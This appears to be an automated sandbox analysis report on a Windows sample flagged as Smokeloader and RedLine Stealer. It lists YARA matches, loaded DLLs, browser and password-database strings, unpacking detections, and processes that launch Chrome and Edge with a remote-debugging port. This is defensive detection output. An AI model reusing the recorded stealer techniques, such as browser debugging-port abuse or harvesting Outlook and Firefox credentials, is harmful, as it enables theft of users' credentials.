Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA64DB0	0_2_6CA64DB0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAF6D90	0_2_6CAF6D90
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CBECDC0	0_2_6CBECDC0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CBE8D20	0_2_6CBE8D20
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB2ED70	0_2_6CB2ED70
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB8AD50	0_2_6CB8AD50
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAE6E90	0_2_6CAE6E90
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA6AEC0	0_2_6CA6AEC0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB00EC0	0_2_6CB00EC0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB40E20	0_2_6CB40E20
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAFEE70	0_2_6CAFEE70
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CBA8FB0	0_2_6CBA8FB0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA6EFB0	0_2_6CA6EFB0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB3EFF0	0_2_6CB3EFF0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA60FE0	0_2_6CA60FE0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CBA0F20	0_2_6CBA0F20
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA66F10	0_2_6CA66F10
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB22F70	0_2_6CB22F70
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CACEF40	0_2_6CACEF40
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB668E0	0_2_6CB668E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAB0820	0_2_6CAB0820
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAEA820	0_2_6CAEA820
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB34840	0_2_6CB34840
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB209B0	0_2_6CB209B0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAF09A0	0_2_6CAF09A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB1A9A0	0_2_6CB1A9A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB7C9E0	0_2_6CB7C9E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA949F0	0_2_6CA949F0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CAB6900	0_2_6CAB6900
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA98960	0_2_6CA98960
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CADEA80	0_2_6CADEA80
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB18A30	0_2_6CB18A30
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB0EA00	0_2_6CB0EA00
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CADCA70	0_2_6CADCA70
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA68BAC	0_2_6CA68BAC
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB00BA0	0_2_6CB00BA0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB66BE0	0_2_6CB66BE0

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: String function: 6CBE09D0 appears 121 times
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: String function: 00404980 appears 317 times
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: String function: 6C9F94D0 appears 90 times
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: String function: 6C9ECBE8 appears 134 times
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: String function: 6CBEDAE0 appears 31 times

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2348

Source: 2BI8rJKpBa.exe, 00000000.00000002.2676617693.000000006CC35000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 2BI8rJKpBa.exe
Source: 2BI8rJKpBa.exe, 00000000.00000002.2676302652.000000006CA42000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 2BI8rJKpBa.exe
Source: 2BI8rJKpBa.exe, 00000000.00000000.2112938314.000000000044B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesDefence: vs 2BI8rJKpBa.exe
Source: 2BI8rJKpBa.exe	Binary or memory string: OriginalFilenamesDefence: vs 2BI8rJKpBa.exe

Source: 2BI8rJKpBa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2668225897.0000000000790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: 2BI8rJKpBa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: WERA01C.tmp.dmp.16.dr

Binary string: \Device\HarddiskVolume3\Users\user\Desktop\2BI8rJKpBa.exe

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@30/57@4/6

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_6CA17030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA17030

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_004239F0 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_004239F0

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_0041CBE0 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_0041CBE0

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\A4TQ191F.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2836

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\e6c9310e-3454-43de-a791-9339c270911a

Jump to behavior

Source: 2BI8rJKpBa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 2BI8rJKpBa.exe, 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 2BI8rJKpBa.exe, 00000000.00000003.2294526777.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000003.2432769347.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDHJKFIEBFIECGH.0.dr, DAEBFHJKJEBFCBFHDAEG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 2BI8rJKpBa.exe, 00000000.00000002.2669462084.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2675892089.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 2BI8rJKpBa.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\2BI8rJKpBa.exe "C:\Users\user\Desktop\2BI8rJKpBa.exe"
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2364,i,17297783172009695929,5993235832865842761,262144 /prefetch:8
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2536,i,13277386480959018772,6460262019571624917,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2108,i,17217898156853852686,11675728796039050875,262144 /prefetch:3
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2348
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2372
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2364,i,17297783172009695929,5993235832865842761,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2536,i,13277386480959018772,6460262019571624917,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2108,i,17217898156853852686,11675728796039050875,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: 2BI8rJKpBa.exe, 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 2BI8rJKpBa.exe, 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Unpacked PE file: 0.2.2BI8rJKpBa.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Unpacked PE file: 0.2.2BI8rJKpBa.exe.400000.0.unpack

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_00426710 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00426710

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
